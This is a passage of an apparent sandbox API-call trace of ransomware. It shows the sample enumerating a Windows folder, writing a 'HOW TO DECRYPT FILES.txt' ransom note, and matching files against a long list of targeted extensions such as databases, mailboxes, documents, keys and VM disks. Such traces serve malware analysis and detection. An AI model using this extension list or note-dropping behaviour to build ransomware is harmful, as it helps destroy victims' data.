dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="dcf1d740ffae84572215588047a59861", cAlternateFileName="DCF1D7~1")) returned 1 [0109.087] lstrcmpA (lpString1=".", lpString2="dcf1d740ffae84572215588047a59861") returned -1 [0109.087] lstrcmpA (lpString1="..", lpString2="dcf1d740ffae84572215588047a59861") returned -1 [0109.087] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0109.088] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="dcf1d740ffae84572215588047a59861" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861" [0109.088] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb1cef78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb1cef78, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb1cef78, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.092] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.092] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb1cef78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb1cef78, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb1cef78, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.092] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.092] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.092] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb1369f7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb1369f7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb1369f7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf4200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.GraphicalHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.092] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.092] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.GraphicalHost.ni.dll") returned -1 [0109.092] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.GraphicalHost.ni.dll") returned -1 [0109.092] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.GraphicalHost.ni.dll") returned -1 [0109.092] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\*.*") returned="*.*" [0109.092] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\" [0109.092] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\") returned="" [0109.092] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\HOW TO DECRYPT FILES.txt" [0109.092] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\dcf1d740ffae84572215588047a59861\\how to decrypt files.txt")) returned 0xffffffff [0109.092] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\dcf1d740ffae84572215588047a59861\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.106] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.108] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.108] CloseHandle (hObject=0x90) returned 1 [0109.108] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\", lpString2="Microsoft.PowerShell.GraphicalHost.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll" [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.ems") returned 0 [0109.108] lstrlenA (lpString="*.ems") returned 5 [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.db") returned 0 [0109.108] lstrlenA (lpString="*.db") returned 4 [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.dbf") returned 0 [0109.108] lstrlenA (lpString="*.dbf") returned 5 [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.myox") returned 0 [0109.108] lstrlenA (lpString="*.myox") returned 6 [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.myo") returned 0 [0109.108] lstrlenA (lpString="*.myo") returned 5 [0109.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbw") returned 0 [0109.108] lstrlenA (lpString="*.qbw") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbb") returned 0 [0109.109] lstrlenA (lpString="*.qbb") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbm") returned 0 [0109.109] lstrlenA (lpString="*.qbm") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbo") returned 0 [0109.109] lstrlenA (lpString="*.qbo") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbx") returned 0 [0109.109] lstrlenA (lpString="*.qbx") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qba") returned 0 [0109.109] lstrlenA (lpString="*.qba") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qby") returned 0 [0109.109] lstrlenA (lpString="*.qby") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qbj") returned 0 [0109.109] lstrlenA (lpString="*.qbj") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.ofx") returned 0 [0109.109] lstrlenA (lpString="*.ofx") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.qif") returned 0 [0109.109] lstrlenA (lpString="*.qif") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mye") returned 0 [0109.109] lstrlenA (lpString="*.mye") returned 5 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mbox") returned 0 [0109.109] lstrlenA (lpString="*.mbox") returned 6 [0109.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.eml") returned 0 [0109.109] lstrlenA (lpString="*.eml") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.pst") returned 0 [0109.110] lstrlenA (lpString="*.pst") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.ost") returned 0 [0109.110] lstrlenA (lpString="*.ost") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.idx") returned 0 [0109.110] lstrlenA (lpString="*.idx") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.dbx") returned 0 [0109.110] lstrlenA (lpString="*.dbx") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.sql") returned 0 [0109.110] lstrlenA (lpString="*.sql") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mdb") returned 0 [0109.110] lstrlenA (lpString="*.mdb") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.fdb") returned 0 [0109.110] lstrlenA (lpString="*.fdb") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.wab") returned 0 [0109.110] lstrlenA (lpString="*.wab") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.dat") returned 0 [0109.110] lstrlenA (lpString="*.dat") returned 5 [0109.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.txt") returned 0 [0109.110] lstrlenA (lpString="*.txt") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.jpeg") returned 0 [0109.111] lstrlenA (lpString="*.jpeg") returned 6 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.jpg") returned 0 [0109.111] lstrlenA (lpString="*.jpg") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.png") returned 0 [0109.111] lstrlenA (lpString="*.png") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.php") returned 0 [0109.111] lstrlenA (lpString="*.php") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.cs") returned 0 [0109.111] lstrlenA (lpString="*.cs") returned 4 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.cpp") returned 0 [0109.111] lstrlenA (lpString="*.cpp") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.rar") returned 0 [0109.111] lstrlenA (lpString="*.rar") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.zip") returned 0 [0109.111] lstrlenA (lpString="*.zip") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.html") returned 0 [0109.111] lstrlenA (lpString="*.html") returned 6 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.htm") returned 0 [0109.111] lstrlenA (lpString="*.htm") returned 5 [0109.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.xlsx") returned 0 [0109.112] lstrlenA (lpString="*.xlsx") returned 6 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.xls") returned 0 [0109.112] lstrlenA (lpString="*.xls") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mp4") returned 0 [0109.112] lstrlenA (lpString="*.mp4") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.ppt") returned 0 [0109.112] lstrlenA (lpString="*.ppt") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.pptx") returned 0 [0109.112] lstrlenA (lpString="*.pptx") returned 6 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.doc") returned 0 [0109.112] lstrlenA (lpString="*.doc") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.dot") returned 0 [0109.112] lstrlenA (lpString="*.dot") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.docx") returned 0 [0109.112] lstrlenA (lpString="*.docx") returned 6 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.7z") returned 0 [0109.112] lstrlenA (lpString="*.7z") returned 4 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.tar") returned 0 [0109.112] lstrlenA (lpString="*.tar") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.bz2") returned 0 [0109.112] lstrlenA (lpString="*.bz2") returned 5 [0109.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.gz") returned 0 [0109.113] lstrlenA (lpString="*.gz") returned 4 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mkv") returned 0 [0109.113] lstrlenA (lpString="*.mkv") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.eml") returned 0 [0109.113] lstrlenA (lpString="*.eml") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.msg") returned 0 [0109.113] lstrlenA (lpString="*.msg") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.edb") returned 0 [0109.113] lstrlenA (lpString="*.edb") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.accdb") returned 0 [0109.113] lstrlenA (lpString="*.accdb") returned 7 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.odb") returned 0 [0109.113] lstrlenA (lpString="*.odb") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.java") returned 0 [0109.113] lstrlenA (lpString="*.java") returned 6 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.asm") returned 0 [0109.113] lstrlenA (lpString="*.asm") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.pfx") returned 0 [0109.113] lstrlenA (lpString="*.pfx") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.pem") returned 0 [0109.113] lstrlenA (lpString="*.pem") returned 5 [0109.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.p12") returned 0 [0109.113] lstrlenA (lpString="*.p12") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.gpg") returned 0 [0109.114] lstrlenA (lpString="*.gpg") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.vsd") returned 0 [0109.114] lstrlenA (lpString="*.vsd") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.odg") returned 0 [0109.114] lstrlenA (lpString="*.odg") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.raw") returned 0 [0109.114] lstrlenA (lpString="*.raw") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.nef") returned 0 [0109.114] lstrlenA (lpString="*.nef") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.svg") returned 0 [0109.114] lstrlenA (lpString="*.svg") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.psd") returned 0 [0109.114] lstrlenA (lpString="*.psd") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.vmx") returned 0 [0109.114] lstrlenA (lpString="*.vmx") returned 5 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.vmdk") returned 0 [0109.114] lstrlenA (lpString="*.vmdk") returned 6 [0109.114] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.vdi") returned 0 [0109.114] lstrlenA (lpString="*.vdi") returned 5 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.lay6") returned 0 [0109.115] lstrlenA (lpString="*.lay6") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", 